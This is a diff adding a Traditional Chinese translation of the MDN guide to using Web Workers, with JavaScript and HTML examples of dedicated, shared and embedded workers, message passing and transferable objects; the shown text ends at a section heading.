+++ b/files/zh-tw/web/api/web_workers_api/using_web_workers/index.html
@@ -0,0 +1,791 @@
+---
+title: 使用 Web Workers
+slug: Web/API/Web_Workers_API/Using_web_workers
+translation_of: Web/API/Web_Workers_API/Using_web_workers
+---
+<div class="summary">
+<p><span style="line-height: inherit;">Web Workers 提供簡單的方法讓網頁在背景執行緒 (Thread) 中執行程式，而不干擾使用者介面運行</span>，<span style="line-height: inherit;">另外，Worker也可以利用 </span><a href="https://developer.mozilla.org/en/nsIXMLHttpRequest" style="line-height: inherit;" title="https://developer.mozilla.org/en/nsIXMLHttpRequest">XMLHttpRequest</a><span style="line-height: inherit;"> 執行輸出/輸入(但是responseXML 和channel這兩個屬性為null)</span>；<span style="line-height: inherit;">一個worker可以藉由事件處理器來和</span> <span style="line-height: inherit;">web worker 創造端互相傳送訊息</span>，接下來本文會提供使用 web worker 的詳細說明。</p>
+</div>
+
+<h2 id="Web_Workers_API">Web Workers API</h2>
+
+<p>透過 worker 建構子 (如 {{domxref("Worker.Worker", "Worker()")}}) 便可以產生 worker 物件，並且執行 JavaScript 檔案。在 worker 中的 JavaScript 運行在不同於 {{domxref("window")}} 的執行緒環境，所以在 worker 中存取全域物件應該要透過 {{domxref("window.self","self")}}，如果透過 {{domxref("window")}} 會導致錯誤發生。</p>
+
+<p>Dedicated worker (專有 worker) 是一般 worker，只能被產生它的檔案存取，{{domxref("DedicatedWorkerGlobalScope")}} 物件代表其執行環境；而Shared worker (共享 worker) 則能夠被不同檔案存取，{{domxref("SharedWorkerGlobalScope")}}) 物件代表其執行環境。</p>
+
+<div class="note">
+<p><strong>Note</strong>: worker 其他文件說明請見 <a href="/en-US/docs/Web/API/Web_Workers_API">The Web Workers API landing page</a> 。</p>
+</div>
+
+<p>基本上 worker 能夠執行任何事情，比如說 <a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a>、<a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>、和 Firefox OS 特有的 <a href="/en-US/docs/Web/API/Data_Store_API">Data Store API</a> ，然而直接存取 DOM 或是 {{domxref("window")}} 物件的一些方法和屬性則不被允許，更多細節請見 <a href="/en-US/docs/Web/API/Worker/Functions_and_classes_available_to_workers">worker 可存取知函數和類別</a>。</p>
+
+<p>主執行緒和 worker 執行緒之間用 postMessage() 方法發送訊息，然後透過 <code>onmessage</code> 事件接受訊息 (訊息存在 {{event("Message")}} 事件的 data 屬性之中)，其中被傳送的資料並非共享而是複製一份後傳送。</p>
+
+<p>worker 可以產生新 worker，只要新 worker 的來源 (origin) 和父頁面相同，<span style="line-height: inherit;">也可以利用 </span><a href="https://developer.mozilla.org/en/nsIXMLHttpRequest" style="line-height: inherit;" title="https://developer.mozilla.org/en/nsIXMLHttpRequest">XMLHttpRequest</a> <span style="line-height: inherit;">執行輸出/輸入(但是responseXML 和channel這兩個屬性為null)。</span></p>
+
+<h2 id="Dedicated_workers">Dedicated workers</h2>
+
+<p>dedicated worker 只能被產生它的檔案存取，下面我們先介紹簡單的 <a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Basic dedicated worker example</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">run dedicated worker</a>) 範例。這個範例會將兩個數字送入 worker 相乘，然後再於前端頁面顯示相乘結果。</p>
+
+<h3 id="偵測_Worker_功能">偵測 Worker 功能</h3>
+
+<p>為了向下相容、避免錯誤，最好是確保 worker 存在後再取用之 (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/main.js">main.js</a>):</p>
+
+<pre class="brush: js">if (window.Worker) {
+
+  ...
+
+}</pre>
+
+<h3 id="產生_dedicated_worker">產生 dedicated worker</h3>
+
+<p>只要呼叫 {{domxref("Worker.Worker", "Worker()")}} 建構子，傳入 JS 檔案的 URI，便可以生成一個 worker 執行緒 (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/main.js">main.js</a>):</p>
+
+<div style="overflow: hidden;">
+<pre class="brush: js">var myWorker = new Worker("worker.js");
+</pre>
+</div>
+
+<h3 id="和_dedicated_worker_發送訊息">和 dedicated worker 發送訊息</h3>
+
+<p>{{domxref("Worker.postMessage", "postMessage()")}} 方法以及 {{domxref("Worker.onmessage", "onmessage")}} 事件處理器就是和 worker 發送訊息的關鍵 (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/main.js">main.js</a>):</p>
+
+<pre class="brush: js">first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+second.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}</pre>
+
+<p>範例中有兩個 {{htmlelement("input")}} 元素，first 和 second，當元素值改變時，我們會利用 postMessage() 方法告訴 worker 改變的值 (這邊用陣列，也可以用其他類別)。</p>
+
+<p>然後在 worker 裡我們從 <code>onmessage</code> 接收訊息 (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/worker.js">worker.js</a>):</p>
+
+<pre class="brush: js">onmessage = function(e) {
+  console.log('Message received from main script');
+  var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+  console.log('Posting message back to main script');
+  postMessage(workerResult);
+}</pre>
+
+<p><code>onmessage</code> 事件物件的 data 屬性存有傳送過來的訊息資料，也就是 input 值；worker 收到後將傳過來的兩個值相乘，再 postMessage 傳回去。</p>
+
+<p>回到主執行，同樣透過<code> onmessage</code> 事件，收到 worker 回傳還來的計算值 :</p>
+
+<pre class="brush: js">myWorker.onmessage = function(e) {
+  result.textContent = e.data;
+  console.log('Message received from worker');
+}</pre>
+
+<p>拿到存在事件 data 中的計算值後，我們接著將值以<code> textContent</code> 顯示出來。</p>
+
+<div class="note">
+<p><strong>Note</strong> : <code>建構 Worker</code> 的URI必須遵從<a href="/en-US/docs/Web/Security/Same-origin_policy"> same-origin policy</a>。目前各家瀏覽器在這方面存有歧異，Gecko 10.0 {{geckoRelease("10.0")}} 以後允許 data URI 而 Internet Explorer 10 不允許 Blob URI。</p>
+</div>
+
+<div class="note"><strong>Note</strong>: 在主執行緒中存取 <code>onmessage</code> <code>與 postMessage</code> 需要主動掛在 worker 物件上，在 worker 執行緒則不用，這是因為 worker 執行緒的全域物件便是 worker 物件。</div>
+
+<div class="note"><strong>Note</strong>: 和 worker 傳送的資料並非共享而是複製一份後傳送，詳細請參照 {{anch("Transferring data to and from workers: further details")}}。</div>
+
+<h3 id="結束_worker">結束 worker</h3>
+
+<p><code>在主執行緒裡呼叫</code> {{domxref("Worker", "terminate")}} 就可結束 worker :</p>
+
+<pre class="brush: js">myWorker.terminate();</pre>
+
+<p>請注意不論 worker 正在執行的運算完成與否，一但呼叫後 worker 便會立刻被終止。</p>
+
+<p>而在 worker 執行緒裡，worker 可以呼叫自己的 {{domxref("WorkerGlobalScope", "close")}} 方法來結束 :</p>
+
+<pre class="brush: js">close();</pre>
+
+<h3 id="錯誤處理">錯誤處理</h3>
+
+<p>當執行時期錯誤發生時，onerror 事件處理器會被呼叫，onerror事件處理器會收到一名為 error 的事件物件 (實作 ErrorEvent Interface)，該事件不會 bubble 且可取消，如果要避免事件預設行為，可以呼叫 <a class="internal" href="/en-US/docs/Web/API/Event/preventDefault"><code>preventDefault()</code></a>。</p>
+
+<p>以下三個部分是錯誤事件較關鍵的地方:</p>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>供人閱讀的錯誤訊息</dd>
+ <dt><code>filename</code></dt>
+ <dd>錯誤發生所在的檔案名稱</dd>
+ <dt><code>lineno</code></dt>
+ <dd>錯誤發生所在的行數</dd>
+</dl>
+
+<h3 id="產生_subworker"><span style="line-height: inherit;">產生</span> subworker</h3>
+
+<p><span style="line-height: inherit;">worker 可以產生其他 worker (subworker)，subworker </span><span style="line-height: inherit;">的來源</span><span style="line-height: inherit;">也必須和主頁相同，另外，subworker 的 URI 的解析是相對於父 worker 的位置而非所在頁面，這項特色有助於追蹤 worker 間的相依性。</span></p>
+
+<h3 id="引入程式腳本與函式庫_(library)">引入程式腳本與函式庫 (library)</h3>
+
+<p>Worker執行緒能存取一個全域函數 (global function), importScripts()。importScripts() 可以讓 worker 端引入相同網域的程式碼腳本與 libraries，importScripts()可接收零到數個要被輸入資源的URI，底下為幾個範例:</p>
+
+<pre class="brush: js">importScripts();                        /* imports nothing */
+importScripts('foo.js');                /* imports just "foo.js" */
+importScripts('foo.js', 'bar.js');      /* imports two scripts */
+</pre>
+
+<p>瀏覽器會載入並執行每個程式碼腳本，然後 worker 能夠存取程式碼腳本內定義的全域變數，若是腳本無法載入，會產生一個 NETWORK_ERROR，後續的程式碼不會被執行，但是先前執行過的程式碼或用 <a href="https://developer.mozilla.org/en-US/docs/Web/API/window.setTimeout" title="https://developer.mozilla.org/en-US/docs/Web/API/window.setTimeout">window.setTimeout()</a> 延遲執行的程式碼依然有效，而 importScripts() 之後宣告的函數也一樣存在，因為這些程式碼總是在其他程式碼之前就解析過了。</p>
+
+<div class="note"><strong>Note:</strong> <span style="color: #333333; line-height: inherit;">雖然程式碼腳本的下載順序不一定，但執行順序會遵照傳入importScripts()的順序，這是同步完成的，importScripts()不會回傳直到所有的程式碼都下載並執行完。</span></div>
+
+<h2 id="Shared_workers">Shared workers</h2>
+
+<p>shared worker 能夠被多個程式腳本存取，縱使跨越不同 window、iframe 或 worker。這邊的 <a class="external external-icon" href="https://github.com/mdn/simple-shared-worker">Basic shared worker example</a> (<a class="external external-icon" href="http://mdn.github.io/simple-shared-worker/">run shared worker</a>) 範例和 dedicated worker 範例類似，但多了兩個可以讓多個檔案存取的函數：<em>數字相乘以及數字平方</em>。</p>
+
+<p>請注意 dedicated worker 與 shared worker 間的差異處，範例裡會有兩份 HTML 頁面，各自都利用同一個 worker 處理運算。</p>
+
+<div class="note">
+<p><strong>Note:</strong> 所有的瀏覽環境都必需共享相同的來源（相同protocol, host 和 port），shared worker 才能讓不同瀏覽環境存取。</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: 在 Firefox， shared worker 無法在一般和隱私模式間共享 ({{bug(1177621)}})。</p>
+</div>
+
+<h3 id="產生_shared_worker">產生 shared worker</h3>
+
+<p>和 dedicated worker 做法差不多，只是用另一個 SharedWorker 建構子來產生  shared worker，見 <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/index.html">index.html</a> 和 <a href="http://mdn.github.io/simple-shared-worker/index2.html">index2.html</a>:</p>
+
+<pre class="brush: js">var myWorker = new SharedWorker("worker.js");</pre>
+
+<p>相當不 一樣的是和 shared worker 溝通必須要透過 port 物件，其實 dedicated worker 也是如此，只不過一切是在背景後自動完成。</p>
+
+<p>開啟 port 連線一是在 onmessage 事件下背景完成，二是藉由主動呼叫 start() 好開始傳送訊息。範例<a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js"> multiply.js</a> 以及 <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/worker.js">worker.js</a> 因為註冊了 onmessage 事件，所以其實可以省略呼叫 start()，然而若是 message 事件是經由 <code>addEventListener()註冊，那麼便需要呼叫 start() 了。</code></p>
+
+<p>當使用 start() 開啟 port 連線，那麼雙向溝通便需要主執行緒和 worker 兩端都呼叫 start()。</p>
+
+<pre class="brush: js">myWorker.port.start();  // called in parent thread</pre>
+
+<pre class="brush: js">port.start();  // called in worker thread, assuming the <code>port</code> variable references a port</pre>
+
+<h3 id="和_shared_worker_發送訊息">和 shared worker 發送訊息</h3>
+
+<p>如同前面，現在可以呼叫 <code>postMessage()</code> 發送訊息，只不過這次需要透過 port 物件 (一樣請參考 <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> 和 <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p>
+
+<pre class="brush: js">squareNumber.onchange = function() {
+  myWorker.port.postMessage([squareNumber.value,squareNumber.value]);
+  console.log('Message posted to worker');
+}</pre>
+
+<p>worker 方面也增加了一些程式碼 (<a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/worker.js">worker.js</a>):</p>
+
+<pre class="brush: js">onconnect = function(e) {
+  var port = e.ports[0];
+  port.onmessage = function(e) {
+    var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+    port.postMessage(workerResult);
+  }
+  <s>port.start();</s>  // not necessary since onmessage event handler is being used
+}</pre>
+
+<p>首先，先監聽連線建立的 onconnect 事件，例如當主執行緒建立 onmessage 事件或呼叫 <code>start()</code>。</p>
+
+<p>然後從 onconnect 事件物件，我們可以取得 port 物件使用之。</p>
+
+<p>取得 port 之後，我們註冊 port 上的 onmessage 事件，當有訊息進來便取回資料進行運算後回傳回去；註冊 onmessage 事件的同時也自動建立連線，所以說不需要呼叫start() 了。</p>
+
+<p>最後在主執行緒端，我們同樣由 onmessage 事件取回回傳過來的訊息 (一樣請參考 <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> 和 <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p>
+
+<pre class="brush: js">myWorker.port.onmessage = function(e) {
+  result2.textContent = e.data[0];
+  console.log('Message received from worker');
+}</pre>
+
+<p> </p>
+
+<h2 id="執行緒_(Thread)_安全">執行緒 (Thread) 安全</h2>
+
+<p>{{domxref("Worker")}} 會產生真正 OS 層級的執行緒，細心的開發者或許會擔心同步問題。</p>
+
+<p>不過 worker 會十分注意和其他執行緒溝通的狀況，不會去存取非執行緒安全的元件，如 DOM ，而且資料的傳遞也都序列化 (serialized) ，所以說很難會發生同步問題。</p>
+
+<h2 id="和_workers_傳遞資料：更多細節">和 workers 傳遞資料：更多細節</h2>
+
+<p>和 workers 傳遞的資料會先被複製一份，而非共享；經過序列化後 (serialized) 傳輸，然後在另一端反序列化 (de-serialized) 取出，大部份的瀏覽器都是以 <a href="/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">結構化複製 (structured cloning)</a> 實作這項特色.</p>
+
+<p>下面的 <code>emulateMessage() 會模擬和 worker 傳遞訊息時，複製資料的行為。</code></p>
+
+<pre class="brush: js">function emulateMessage (vVal) {
+    return eval("(" + JSON.stringify(vVal) + ")");
+}
+
+// Tests
+
+// test #1
+var example1 = new Number(3);
+console.log(typeof example1); // object
+console.log(typeof emulateMessage(example1)); // number
+
+// test #2
+var example2 = true;
+console.log(typeof example2); // boolean
+console.log(typeof emulateMessage(example2)); // boolean
+
+// test #3
+var example3 = new String("Hello World");
+console.log(typeof example3); // object
+console.log(typeof emulateMessage(example3)); // string
+
+// test #4
+var example4 = {
+    "name": "John Smith",
+    "age": 43
+};
+console.log(typeof example4); // object
+console.log(typeof emulateMessage(example4)); // object
+
+// test #5
+function Animal (sType, nAge) {
+    this.type = sType;
+    this.age = nAge;
+}
+var example5 = new Animal("Cat", 3);
+alert(example5.constructor); // Animal
+alert(emulateMessage(example5).constructor); // Object</pre>
+
+<p>所謂的訊息就是經過複製、非共享的資料，到這邊你應該已經知道 <code>postMessage()</code> 負責發送訊息，然後 <code>message</code> 事件 {{domxref("MessageEvent.data", "data")}} 的 attribute 則存有傳送的訊息資料。</p>
+
+<p><strong>example.html</strong>: (the main page):</p>
+
+<pre class="brush: js">var myWorker = new Worker("my_task.js");
+
+myWorker.onmessage = function (oEvent) {
+  console.log("Worker said : " + oEvent.data);
+};
+
+myWorker.postMessage("ali");</pre>
+
+<p><strong>my_task.js</strong> (the worker):</p>
+
+<pre class="brush: js">postMessage("I\'m working before postMessage(\'ali\').");
+
+onmessage = function (oEvent) {
+  postMessage("Hi " + oEvent.data);
+};</pre>
+
+<p><a href="/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">結構化複製（structured cloning）</a> 演算法支援 JSON 以及迴圈參照（circular references）。</p>
+
+<h3 id="資料傳遞範例">資料傳遞範例</h3>
+
+<h4 id="範例_1_非同步_eval()">範例 1: 非同步 <code>eval()</code></h4>
+
+<p>下面透過 <a href="/en-US/docs/Web/HTTP/data_URIs">data URL</a> 和 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval()</a>，</code>示範如何在 worker 非同步執行允許的程式碼：</p>
+
+<pre class="brush: js">// Syntax: asyncEval(code[, listener])
+
+var asyncEval = (function () {
+  var aListeners = [], oParser = new Worker("data:text/javascript;charset=US-ASCII,onmessage%20%3D%20function%20%28oEvent%29%20%7B%0A%09postMessage%28%7B%0A%09%09%22id%22%3A%20oEvent.data.id%2C%0A%09%09%22evaluated%22%3A%20eval%28oEvent.data.code%29%0A%09%7D%29%3B%0A%7D");
+
+  oParser.onmessage = function (oEvent) {
+    if (aListeners[oEvent.data.id]) { aListeners[oEvent.data.id](oEvent.data.evaluated); }
+    delete aListeners[oEvent.data.id];
+  };
+
+  return function (sCode, fListener) {
+    aListeners.push(fListener || null);
+    oParser.postMessage({
+      "id": aListeners.length - 1,
+      "code": sCode
+    });
+  };
+})();</pre>
+
+<p><a href="en-US/docs/Web/HTTP/data_URIs">data URL</a> 相當於網路請求，範例中的 data URL 會在 worker 執行下列程式碼回應訊息：</p>
+
+<pre class="brush: js">onmessage = function (oEvent) {
+  postMessage({
+    "id": oEvent.data.id,
+    "evaluated": eval(oEvent.data.code)
+  });
+}</pre>
+
+<p>應用範例:</p>
+
+<pre class="brush: js">// asynchronous alert message...
+asyncEval("3 + 2", function (sMessage) {
+    alert("3 + 2 = " + sMessage);
+});
+
+// asynchronous print message...
+asyncEval("\"Hello World!!!\"", function (sHTML) {
+    document.body.appendChild(document.createTextNode(sHTML));
+});
+
+// asynchronous void...
+asyncEval("(function () {\n\tvar oReq = new XMLHttpRequest();\n\toReq.open(\"get\", \"http://www.mozilla.org/\", false);\n\toReq.send(null);\n\treturn oReq.responseText;\n})()");</pre>
+
+<h4 id="範例2_JSON_資料進階傳遞與呼叫系統">範例2: JSON 資料進階傳遞與呼叫系統</h4>
+
+<p>下面的範例系統適合需要在主頁面和 worker 傳遞複雜資料和呼叫多個函數的情境。</p>
+
+<p><strong>example.html</strong> (主頁面):</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8"  /&gt;
+&lt;title&gt;MDN Example - Queryable worker&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+  /*
+    QueryableWorker instances methods:
+     * sendQuery(queryable function name, argument to pass 1, argument to pass 2, etc. etc): calls a Worker's queryable function
+     * postMessage(string or JSON Data): see Worker.prototype.postMessage()
+     * terminate(): terminates the Worker
+     * addListener(name, function): adds a listener
+     * removeListener(name): removes a listener
+    QueryableWorker instances properties:
+     * defaultListener: the default listener executed only when the Worker calls the postMessage() function directly
+  */
+  function QueryableWorker (sURL, fDefListener, fOnError) {
+    var oInstance = this, oWorker = new Worker(sURL), oListeners = {};
+    this.defaultListener = fDefListener || function () {};
+    oWorker.onmessage = function (oEvent) {
+      if (oEvent.data instanceof Object &amp;&amp; oEvent.data.hasOwnProperty("vo42t30") &amp;&amp; oEvent.data.hasOwnProperty("rnb93qh")) {
+        oListeners[oEvent.data.vo42t30].apply(oInstance, oEvent.data.rnb93qh);
+      } else {
+        this.defaultListener.call(oInstance, oEvent.data);
+      }
+    };
+    if (fOnError) { oWorker.onerror = fOnError; }
+    this.sendQuery = function (/* queryable function name, argument to pass 1, argument to pass 2, etc. etc */) {
+      if (arguments.length &lt; 1) { throw new TypeError("QueryableWorker.sendQuery - not enough arguments"); return; }
+      oWorker.postMessage({ "bk4e1h0": arguments[0], "ktp3fm1": Array.prototype.slice.call(arguments, 1) });
+    };
+    this.postMessage = function (vMsg) {
+      //I just think there is no need to use call() method
+      //how about just oWorker.postMessage(vMsg);
+      //the same situation with terminate
+      //well,just a little faster,no search up the prototye chain
+      Worker.prototype.postMessage.call(oWorker, vMsg);
+    };
+    this.terminate = function () {
+      Worker.prototype.terminate.call(oWorker);
+    };
+    this.addListener = function (sName, fListener) {
+      oListeners[sName] = fListener;
+    };
+    this.removeListener = function (sName) {
+      delete oListeners[sName];
+    };
+  };
+
+  // your custom "queryable" worker
+  var oMyTask = new QueryableWorker("my_task.js" /* , yourDefaultMessageListenerHere [optional], yourErrorListenerHere [optional] */);
+
+  // your custom "listeners"
+
+  oMyTask.addListener("printSomething", function (nResult) {
+    document.getElementById("firstLink").parentNode.appendChild(document.createTextNode(" The difference is " + nResult + "!"));
+  });
+
+  oMyTask.addListener("alertSomething", function (nDeltaT, sUnit) {
+    alert("Worker waited for " + nDeltaT + " " + sUnit + " :-)");
+  });
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;ul&gt;
+    &lt;li&gt;&lt;a id="firstLink" href="javascript:oMyTask.sendQuery('getDifference', 5, 3);"&gt;What is the difference between 5 and 3?&lt;/a&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;a href="javascript:oMyTask.sendQuery('waitSomething');"&gt;Wait 3 seconds&lt;/a&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;a href="javascript:oMyTask.terminate();"&gt;terminate() the Worker&lt;/a&gt;&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p><strong>my_task.js</strong> (worker):</p>
+
+<pre class="brush: js">// your custom PRIVATE functions
+
+function myPrivateFunc1 () {
+  // do something
+}
+
+function myPrivateFunc2 () {
+  // do something
+}
+
+// etc. etc.
+
+// your custom PUBLIC functions (i.e. queryable from the main page)
+
+var queryableFunctions = {
+  // example #1: get the difference between two numbers:
+  getDifference: function (nMinuend, nSubtrahend) {
+      reply("printSomething", nMinuend - nSubtrahend);
+  },
+  // example #2: wait three seconds
+  waitSomething: function () {
+      setTimeout(function() { reply("alertSomething", 3, "seconds"); }, 3000);
+  }
+};
+
+// system functions
+
+function defaultQuery (vMsg) {
+  // your default PUBLIC function executed only when main page calls the queryableWorker.postMessage() method directly
+  // do something
+}
+
+function reply (/* listener name, argument to pass 1, argument to pass 2, etc. etc */) {
+  if (arguments.length &lt; 1) { throw new TypeError("reply - not enough arguments"); return; }
+  postMessage({ "vo42t30": arguments[0], "rnb93qh": Array.prototype.slice.call(arguments, 1) });
+}
+
+onmessage = function (oEvent) {
+  if (oEvent.data instanceof Object &amp;&amp; oEvent.data.hasOwnProperty("bk4e1h0") &amp;&amp; oEvent.data.hasOwnProperty("ktp3fm1")) {
+    queryableFunctions[oEvent.data.bk4e1h0].apply(self, oEvent.data.ktp3fm1);
+  } else {
+    defaultQuery(oEvent.data);
+  }
+};
+</pre>
+
+<h3 id="移轉資料所有權_-_可移轉物件_(transferable_objects)">移轉資料所有權 - 可移轉物件 (transferable objects)</h3>
+
+<p>Google Chrome 17+ 以及 Firefox 18+ 能夠和 worker 高效能地傳送另外一種特定型態物件 (可移轉物件, transferable objects，這種物件實作了 {{domxref("Transferable")}} 介面)，可移轉物件當被傳送到另一端時並不需要複製，因此可以大大提升傳送大型資料物件的效能；這好比像是 C/C++ 的 pass-by-reference，但是不同的是，一旦移轉後原先的環境便失去了持有資料，例如當主頁面傳送 {{domxref("ArrayBuffer")}} 後，主頁面便不再能夠使用這筆資料物件了，這筆資料物件的存取連結已經靜靜地移轉到 worker 端了。</p>
+
+<pre class="brush: js">// Create a 32MB "file" and fill it.
+var uInt8Array = new Uint8Array(1024*1024*32); // 32MB
+for (var i = 0; i &lt; uInt8Array.length; ++i) {
+  uInt8Array[i] = i;
+}
+
+worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: 關於更多可移轉物件的資訊, 效能和功能偵測，請參考 HTML5 Rocks 上 <a href="http://updates.html5rocks.com/2011/12/Transferable-Objects-Lightning-Fast">Transferable Objects: Lightning Fast!</a> 一文。</p>
+</div>
+
+<h2 id="Embedded_workers">Embedded workers</h2>
+
+<p>不像 {{HTMLElement("script")}}，並沒有一套正式標準的方法將 worker 的程式碼嵌入到頁面之中，不過沒有 src 屬性而且 mime-type 不屬於可執行程式碼的 {{HTMLElement("script")}} 元素會被視為 javascript 可以取用的資料區塊（data block），資料區塊是一項 HTML5 可用於攜帶文字資料的特色功能，利用資料區塊我們就有辦法嵌入 worker 的程式碼到頁面中：</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8" /&gt;
+&lt;title&gt;MDN Example - Embedded worker&lt;/title&gt;
+&lt;script type="text/js-worker"&gt;
+  // This script WON'T be parsed by JS engines because its mime-type is text/js-worker.
+  var myVar = "Hello World!";
+  // Rest of your worker code goes here.
+&lt;/script&gt;
+&lt;script type="text/javascript"&gt;
+  // This script WILL be parsed by JS engines because its mime-type is text/javascript.
+  function pageLog (sMsg) {
+    // Use a fragment: browser will only render/reflow once.
+    var oFragm = document.createDocumentFragment();
+    oFragm.appendChild(document.createTextNode(sMsg));
+    oFragm.appendChild(document.createElement("br"));
+    document.querySelector("#logDisplay").appendChild(oFragm);
+  }
+&lt;/script&gt;
+&lt;script type="text/js-worker"&gt;
+  // This script WON'T be parsed by JS engines because its mime-type is text/js-worker.
+  onmessage = function (oEvent) {
+    postMessage(myVar);
+  };
+  // Rest of your worker code goes here.
+&lt;/script&gt;
+&lt;script type="text/javascript"&gt;
+  // This script WILL be parsed by JS engines because its mime-type is text/javascript.
+
+  // In the past...:
+  // blob builder existed
+  // ...but now we use Blob...:
+  var blob = new Blob(Array.prototype.map.call(document.querySelectorAll("script[type=\"text\/js-worker\"]"), function (oScript) { return oScript.textContent; }),{type: "text/javascript"});
+
+  // Creating a new document.worker property containing all our "text/js-worker" scripts.
+  document.worker = new Worker(window.URL.createObjectURL(blob));
+
+  document.worker.onmessage = function (oEvent) {
+    pageLog("Received: " + oEvent.data);
+  };
+
+  // Start the worker.
+  window.onload = function() { document.worker.postMessage(""); };
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;&lt;div id="logDisplay"&gt;&lt;/div&gt;&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Embedded worker 在 <code>document.worker</code> 之中。</p>
+
+<h2 id="其他範例">其他範例</h2>
+
+<p>下面介紹其他使用 worker 的範例。</p>
+
+<h3 id="在背景中執行運算">在背景中執行運算</h3>
+
+<p>worker 主要的用處在避免重度 CPU 運算的任務阻礙到 UI 執行緒運行；這邊我們用 worker 來跑 Fibonacci 數列運算。</p>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>fibonacci.js 中的程式碼會被另一份 HTML 引用。</p>
+
+<pre class="brush: js">var results = [];
+
+function resultReceiver(event) {
+  results.push(parseInt(event.data));
+  if (results.length == 2) {
+    postMessage(results[0] + results[1]);
+  }
+}
+
+function errorReceiver(event) {
+  throw event.data;
+}
+
+onmessage = function(event) {
+  var n = parseInt(event.data);
+
+  if (n == 0 || n == 1) {
+    postMessage(n);
+    return;
+  }
+
+  for (var i = 1; i &lt;= 2; i++) {
+    var worker = new Worker("fibonacci.js");
+    worker.onmessage = resultReceiver;
+    worker.onerror = errorReceiver;
+    worker.postMessage(n - i);
+  }
+ };</pre>
+
+<p>worker 程式碼中註冊了一個 <code>onmessage</code> 事件處理器用來接收另一端 <code>postMessage 過來的訊息</code> (請注意這並非定義一個全域變數或函數，<code>var onmessage</code> 或 <code>function onmessage</code> 會定義全域變數，但不會註冊事件處理器)，然後開始進行遞迴運算。</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="UTF-8"  /&gt;
+    &lt;title&gt;Test threads fibonacci&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+  &lt;div id="result"&gt;&lt;/div&gt;
+
+  &lt;script language="javascript"&gt;
+
+    var worker = new Worker("fibonacci.js");
+
+    worker.onmessage = function(event) {
+      document.getElementById("result").textContent = event.data;
+      dump("Got: " + event.data + "\n");
+    };
+
+    worker.onerror = function(error) {
+      dump("Worker error: " + error.message + "\n");
+      throw error;
+    };
+
+    worker.postMessage("5");
+
+  &lt;/script&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>onmessage 事件處理器會接收 worker 回傳的運算結果，然後顯示在頁面上，如果有問題， onerror 事件處理器會 <a href="/en-US/docs/Debugging_JavaScript#dump.28.29">輸出</a> 錯誤訊息。</p>
+
+<p>和 worker 溝通則是利用 postMessage。</p>
+
+<p><a class="external" href="/samples/workers/fibonacci">範例測試</a>。</p>
+
+<h3 id="在背景中執行_web_IO">在背景中執行 web I/O</h3>
+
+<p>範例請見 <a class="internal" href="/en-US/docs/Using_workers_in_extensions">Using workers in extensions</a> 。</p>
+
+<h3 id="分割任務到多個_workers">分割任務到多個 workers</h3>
+
+<p>基於多核 cpu 的普及，分割複雜任務到多個 workers 將可能有助於利用多核心 cpu 的優勢。</p>
+
+<h2 id="其他類型的_worker">其他類型的 worker</h2>
+
+<p>除了 dedicated 和 shared web workers，還有其他種類：</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorkers</a> 基本上如同介於 web app 和瀏覽器以及網路之間的代理伺服器 (proxy server)，這類 worker 重點在實現離線服務，service worker 會攔截網路請求，然後依據網路連線和資源狀態做出反應，他們可以存取推播和背景同步 APIs。</li>
+ <li>Chrome Workers 是 Firefox 唯一的 worker 類型，他們可以用在開發 add-ons，或是想要使用 <a href="https://developer.mozilla.org/en/js-ctypes">js-ctypes</a>。詳情請見 {{domxref("ChromeWorker")}}。</li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API#Audio_Workers">Audio Workers</a> 主要用於音效處理部分。</li>
+</ul>
+
+<h2 id="Worker_可存取之函數與介面">Worker 可存取之函數與介面</h2>
+
